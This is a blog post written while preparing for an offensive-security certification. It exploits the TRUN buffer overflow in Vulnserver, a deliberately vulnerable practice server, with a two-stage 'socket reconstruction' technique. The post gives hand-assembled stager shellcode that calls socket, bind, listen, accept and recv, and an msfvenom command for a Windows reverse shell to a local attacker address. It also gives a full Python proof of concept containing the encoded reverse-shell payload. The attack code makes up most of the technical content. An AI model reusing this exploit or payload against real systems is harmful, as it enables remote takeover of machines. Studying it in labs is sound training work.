Its been a considerable amount of time since my last OSCE review blog post. ( it does deserve few weeks of rest! uff! ) In this article we will look at how to exploit Vulnserver TRUN command which is vulnerable to buffer overflow using one of the technique that i learnt during preparation for OSCE. We will look at how to exploit Vulnserver using socket reconstruction which involves sending two stager payload.
What will not be covered in this article ?
Fuzzing vulnserver TRUN command , getting control of EIP are not covered in this article ( which are found nearly everywhere! )
What will be covered in this article?
Writing a custom shellcode which involves recreation of socket functionality and leveraging it to gain a reverse shell.
Some basic prerequisite information :
Anatomy of calling a x86 windows syscall :
In x86 windows, calling a syscall requires us to follow the following process.for example lets consider we need to call the following syscall :
syscallExA(Parameter A , Parameter B)
in order to call syscallExA , we need to first push the required parameters to stack in reverse order .( that is push B then push A ) . Finally we need to move the address of syscallExA onto a register , then finally CALL the register.
It can be pictured as follows ,
MOV EAX, address of syscallExA
and after the syscall executes , return value is stored in EAX register.
What is socket reconstruction technique?
Socket reconstruction technique leverages the fact that in certain client – server application , it would have already loaded the socket related DLL file required onto its memory . This can further be used for exploiting a buffer overflow vulnerability on that application . We mimick the server ability to construct a socket from initial stages to listening for incoming connection from attacker. at this point of time, attacker can send his second stager payload which is a larger reverse shell payload and gets a reverse shell once executed.
Note : victim box is windows xp SP3 ( NO ASLR and DEP in consideration )
The flow :
We follow the following plan as follows ,
We overwrite the EIP register with JMP ESP pointer as we know ESP points to our payload.
First stage payload :
> We create a new socket with the help of Socket Syscall found in WS2_32 dll which is already loaded in memory.
> created socket is then bind to a different port of our choice using bind syscall.
> We listen on the bind port for incoming connection from attacker using listen syscall.
> Accept the incoming connection using Accept syscall.
> Finally receive the second stage payload ( reverse shell ) using recv syscall.
Second Stage payload :
Its a payload of our choice . ( we will use a reverse shell payload from msfvenom )
Before we can Proceed , As noted earlier , we need to know the address of the required socket functions inside WS2_32 DLL file. we can do the following as follows to get it .
1 . In the debugger ( i use immunity debugger ) , rightclick > view > module ‘vulnserv’
2 . rightclick > search for > all intermodular calls
3 . we will see all intermodular calls from this module to all other modules loaded . look for call to socket function from ws2_32 dll file .
4. Follow the function in disassembler . and note all the required functions we need for creating our custom shell code .
In our case we need the following addresses for the functions :
0040257C -FF25 FC614000 JMP DWORD PTR DS:[<&WS2_32.socket>] ; WS2_32.socket 00402564 -FF25 D8614000 JMP DWORD PTR DS:[<&WS2_32.bind>] ; WS2_32.bind 00402554 -FF25 F0614000 JMP DWORD PTR DS:[<&WS2_32.listen>] ; WS2_32.listen 0040254C -FF25 D4614000 JMP DWORD PTR DS:[<&WS2_32.accept>] ; WS2_32.accept 0040252C -FF25 F4614000 JMP DWORD PTR DS:[<&WS2_32.recv>] ; WS2_32.recv
Lets start with Socket syscall . according to MSDN :
From the Microsoft Docs ,
SOCKET WSAAPI socket( int af, int type, int protocol );
Function takes three parameters , first one address family ( 2 for IPv4 ) , second type of socket ( we use 2 (SOCK_STREAM ) ) , and finally protocol (TCP (6))
so our socket call would be as follows :
socket(2, 1, 6)
We have to push the parameters onto stack in reverse order and finally move the socket function address to a register and finally call the register.
And here is the custom shellcode for the following syscall :
83EC 40 SUB ESP,40 #for moving away from EIP 33C0 XOR EAX,EAX B0 06 MOV AL,6 50 PUSH EAX B0 01 MOV AL,1 50 PUSH EAX 40 INC EAX 50 PUSH EAX BB 777C2540 MOV EBX,40257C77 C1EB 08 SHR EBX,8 FFD3 CALL EBX 8BF8 MOV EDI,EAX
We see that first we move the ESP to a location far from EIP to prevent stack corruption . We initially clear out register using XOR operation and push the required parameters onto the stack. Finally we move address of socket function onto EBX and call it. Notice we had the function address at 0040257C , since the address contains null ( which is bad for our shellcode! ) , we make use of SHR operation which would shift right by 8 bits and hence reintroduce the required “00” . finally return address is stored onto EAX register after syscall. we move it to EDI so we can use it further for other operations.
Lets move to the bind syscall :
According to MSDN, bind accepts three parameters as follows.
bind(socket handle,socket addr struct,16)
Here is the shellcode snippet for the same :
33C0 XOR EAX,EAX 50 PUSH EAX 50 PUSH EAX 54 PUSH ESP 59 POP ECX C601 02 MOV BYTE PTR DS:[ECX],2 #AF_INET value (2) IPV4 C641 03 14 MOV BYTE PTR DS:[ECX+3],16 #listen on port 22 6A 16 PUSH 16 51 PUSH ECX B3 64 MOV BL,64 57 PUSH EDI FFD3 CALL EBX
First we construct our socket addr structure. we do this by zeroing out the registers and pushing two DWORD of zeros then finally getting the address of the pushed values onto ECX registers. then we finally manipulate the values stored at ECX. we know that sock addr requires type of address family ( 2 ) and finally port to bind to ( in this case lets choose port 22 , feel free to use any non free port number to bind to ) . we manipulate the values as desired at ECX.
FInally we push the parameters in reverse order. And since all the socket function address are closer to each other and have similar , we just have to modify lower 8 bits of EBX(it currently holds address of socket function ) , BL to 64 and finally call the register.
Listen Syscall :
int WSAAPI listen( SOCKET s, int backlog );
Listen is relatively simple syscall as it only takes two parameters . socket descriptor and finally a backlog counter.
B3 54 MOV BL,54 6A 7F PUSH 7F 57 PUSH EDI FFD3 CALL EBX
Accept syscall :
SOCKET WSAAPI accept( SOCKET s, sockaddr *addr, int *addrlen );
accept function takes three parameter, in our case we can set last two parameters to null. accept syscall also return a client socket descriptor that we need for further recv call .
50 PUSH EAX 50 PUSH EAX 57 PUSH EDI 0B3 4C MOV BL,4C FFD3 CALL EBX
Recv Syscall :
Finally recv syscall accepts the second stage payload and has the following definition :
int recv( SOCKET s, char *buf, int len, int flags );
Recv syscall takes 4 parameters , first one is client socket descriptor which was received from previous accept syscall , followed by address of the location to receive and store the user data followed by its length and finally flags ( we can set it to NULL) .
here is our custom shellcode for this :
8BF8 MOV EDI,EAX 33C0 XOR EAX,EAX 50 PUSH EAX B4 02 MOV AH,2 50 PUSH EAX 54 PUSH ESP 59 POP ECX 66:83C1 5E ADD CX,5E 66:83C1 5E ADD CX,5E 66:83C1 10 ADD CX,10 51 PUSH ECX 57 PUSH EDI B3 2C MOV BL,2C FFD3 CALL EBX
First we zero out and move the FLAGS ( NULL ) onto the stack followed by setting 2 onto AH ( makes length 512 bytes ) and pushing it . Main part of this custom shellcode begins here. we need to push *buff that is address to receive the second stage shellcode. we will calculate it with reference to ESP position . and we need to also make sure , location to receive the payload should be address ahead of current EIP . so what would happen is , once it executes the recv syscall , our reverse shell payload is received and stored in this location specified by *buff , and EIP continues its execution till it reaches our reverse shell and finally executes it . Finally we move client sock address received from accept syscall and call it.
This marks the end of our first stage custom shellcode implementing the socket reconstruction . finally , our we send our second stage shellcode after waiting for a second or two to port 22 . and we get our reverse shell .
Second stage shell code can be generated with the help of msfvenom as follows :
msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="192.168.0.105" EXITFUNC=thread -b "\x00" -f c
here is the complete PoC for the same :
import os import socket import sys from time import sleep host= "192.168.0.102" port= 9999 socket_call = "\x83\xEC\x40\x33\xC0\xB0\x06\x50\xB0\x01\x50\x40\x50\xBB\x77\x7C\x25\x40\xC1\xEB\x08\xFF\xD3\x8B\xF8" bind_call = "\x33\xC0\x50\x50\x54\x59\xC6\x01\x02\xC6\x41\x03\x16\x6A\x10\x51\xB3\x64\x57\xFF\xD3" listen_call = "\xB3\x54\x6A\x7F\x57\xFF\xD3" accept_call = "\x50\x50\x57\xB3\x4C\xFF\xD3" recv_call = "\x8B\xF8\x33\xC0\x50\xB4\x02\x50\x54\x59\x66\x83\xC1\x5E\x66\x83\xC1\x5E\x66\x83\xC1\x10\x51\x57\xB3\x2C\xFF\xD3" #msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST="192.168.0.105" EXITFUNC=thread -b "\x00" -f c rev_shell = ( "\xb8\xd4\x48\x2c\x12\xd9\xcd\xd9\x74\x24\xf4\x5b\x33\xc9\xb1" "\x52\x83\xc3\x04\x31\x43\x0e\x03\x97\x46\xce\xe7\xeb\xbf\x8c" "\x08\x13\x40\xf1\x81\xf6\x71\x31\xf5\x73\x21\x81\x7d\xd1\xce" "\x6a\xd3\xc1\x45\x1e\xfc\xe6\xee\x95\xda\xc9\xef\x86\x1f\x48" "\x6c\xd5\x73\xaa\x4d\x16\x86\xab\x8a\x4b\x6b\xf9\x43\x07\xde" "\xed\xe0\x5d\xe3\x86\xbb\x70\x63\x7b\x0b\x72\x42\x2a\x07\x2d" "\x44\xcd\xc4\x45\xcd\xd5\x09\x63\x87\x6e\xf9\x1f\x16\xa6\x33" "\xdf\xb5\x87\xfb\x12\xc7\xc0\x3c\xcd\xb2\x38\x3f\x70\xc5\xff" "\x3d\xae\x40\x1b\xe5\x25\xf2\xc7\x17\xe9\x65\x8c\x14\x46\xe1" "\xca\x38\x59\x26\x61\x44\xd2\xc9\xa5\xcc\xa0\xed\x61\x94\x73" "\x8f\x30\x70\xd5\xb0\x22\xdb\x8a\x14\x29\xf6\xdf\x24\x70\x9f" "\x2c\x05\x8a\x5f\x3b\x1e\xf9\x6d\xe4\xb4\x95\xdd\x6d\x13\x62" "\x21\x44\xe3\xfc\xdc\x67\x14\xd5\x1a\x33\x44\x4d\x8a\x3c\x0f" "\x8d\x33\xe9\x80\xdd\x9b\x42\x61\x8d\x5b\x33\x09\xc7\x53\x6c" "\x29\xe8\xb9\x05\xc0\x13\x2a\xea\xbd\x1b\xc2\x82\xbf\x1b\x03" "\x0f\x49\xfd\x49\xbf\x1f\x56\xe6\x26\x3a\x2c\x97\xa7\x90\x49" "\x97\x2c\x17\xae\x56\xc5\x52\xbc\x0f\x25\x29\x9e\x86\x3a\x87" "\xb6\x45\xa8\x4c\x46\x03\xd1\xda\x11\x44\x27\x13\xf7\x78\x1e" "\x8d\xe5\x80\xc6\xf6\xad\x5e\x3b\xf8\x2c\x12\x07\xde\x3e\xea" "\x88\x5a\x6a\xa2\xde\x34\xc4\x04\x89\xf6\xbe\xde\x66\x51\x56" "\xa6\x44\x62\x20\xa7\x80\x14\xcc\x16\x7d\x61\xf3\x97\xe9\x65" "\x8c\xc5\x89\x8a\x47\x4e\xa9\x68\x4d\xbb\x42\x35\x04\x06\x0f" "\xc6\xf3\x45\x36\x45\xf1\x35\xcd\x55\x70\x33\x89\xd1\x69\x49" "\x82\xb7\x8d\xfe\xa3\x9d" ) #625011af buffer = 'TRUN .' +"A"*2006 + "\xaf\x11\x50\x62"+"\x90"*20+ socket_call+ bind_call+listen_call+accept_call+recv_call+"\x90"*(351-len(socket_call)-len(bind_call)-len(accept_call)-len(listen_call)-len(recv_call))+"\x90"*15+'\r\n' final_payload = "\x90"*10 + rev_shell conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn.connect((host,port)) print conn.recv(1024) print "sending stager 1 payload " conn.send((buffer)) print "sleeping for few seconds..." sleep(1) print "connecting to bind socket on port 22.." con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) con.connect((host,22)) print "sending final payload ! set your netcat listener!" con.send(final_payload) con.close()
Execute and finally get a reverse shell .
My Github repo containing The POC and other resources :
And all the technique credits goes to this source!
Hope you enjoyed this article . Until next time! 🙂 good day!